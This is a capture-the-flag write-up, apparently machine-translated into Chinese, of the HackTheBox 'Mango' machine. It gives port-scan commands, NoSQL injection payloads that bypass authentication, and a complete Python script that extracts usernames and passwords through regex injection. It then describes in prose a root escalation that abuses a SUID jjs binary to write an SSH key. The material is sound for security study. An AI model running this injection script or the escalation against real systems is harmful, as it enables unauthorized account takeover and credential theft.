我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案。在本文中,我们以授权形式利用NoSQL注入,并通过JJS增加特权。通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与一个在信息安全领域有所了解的人进入专用网络:)侦察
这台机器的IP地址为10.10.10.162,我将其添加到/ etc / hosts。10.10.10.162 mango.htb
首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。nmap -A mango.htb -p22,80,443
首先,让我们看一下网站。当访问mango.htb时,他们将我们从http扔到https,并谈论证书的问题。如果您同意风险,则可以看到此页面。
但是没有什么比这更有趣了。nmap扫描显示指定了域的ssl证书信息。将其添加到/ etc / hosts。10.10.10.162 staging-order.mango.htb
让我们去看看那里是什么。
有一个授权表格-一个可能的入口点。入口点
我们尝试了几种注入技术来绕过授权。然后,通过将反应与两个条件进行比较,我们找到了标准的NoSql注入:登录名是123,密码是123,登录名不是123,密码不是123。
第二个条件的成功结果成功后,我们将重定向到home.php。因此,NoSql注入是可能的。
由于该页面上没有任何有趣的内容,因此我们只能从该漏洞中获取的是登录名和密码。用户
让我们看看最大用户名和密码的长度。为此,可以使用以下结构:login [$ regex] =。{Length}&password [$ ne] = 123-用于登录(对登录进行了正则表达式比较,并且密码无效);登录[$ ne] = 123; password [$ regex] =。{length}作为密码。让我们用burp入侵者来做。

因此,最长登录时间为5个字符。对密码执行相同的操作后,我们发现最长的长度为16个字符。
由于用手整理时间太长,我们将编写一个python脚本。首先,我们将举行一个工作会议。import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
接下来,我们实现枚举登录名的功能。迭代将使用以下正则表达式^ name * *-这样,我们将一次拉伸一个字符。def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
和类似的功能,仅使用找到的登录名。def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
完整代码:
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
结果,我们找到了两个用户的凭据。
我们已通过SSH成功连接到凭据。
我们有第二个用户的密码,但是它不允许通过SSH登录。我们正在尝试通过输入我们知道的密码来在本地更改用户。
根
让我们使用LinEnum脚本进行基本枚举。
我们找到设置了S位的程序。
例如,检查JJS GTFOBins。
也有操作示例。调用本地Shell无效。但是您可以生成ssh密钥,在/root/.ssh/authorized_keys中写入public并使用private连接。
让我们计算一下公共密钥。
现在写下来。
现在以root身份连接。
您可以通过电报加入我们。在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。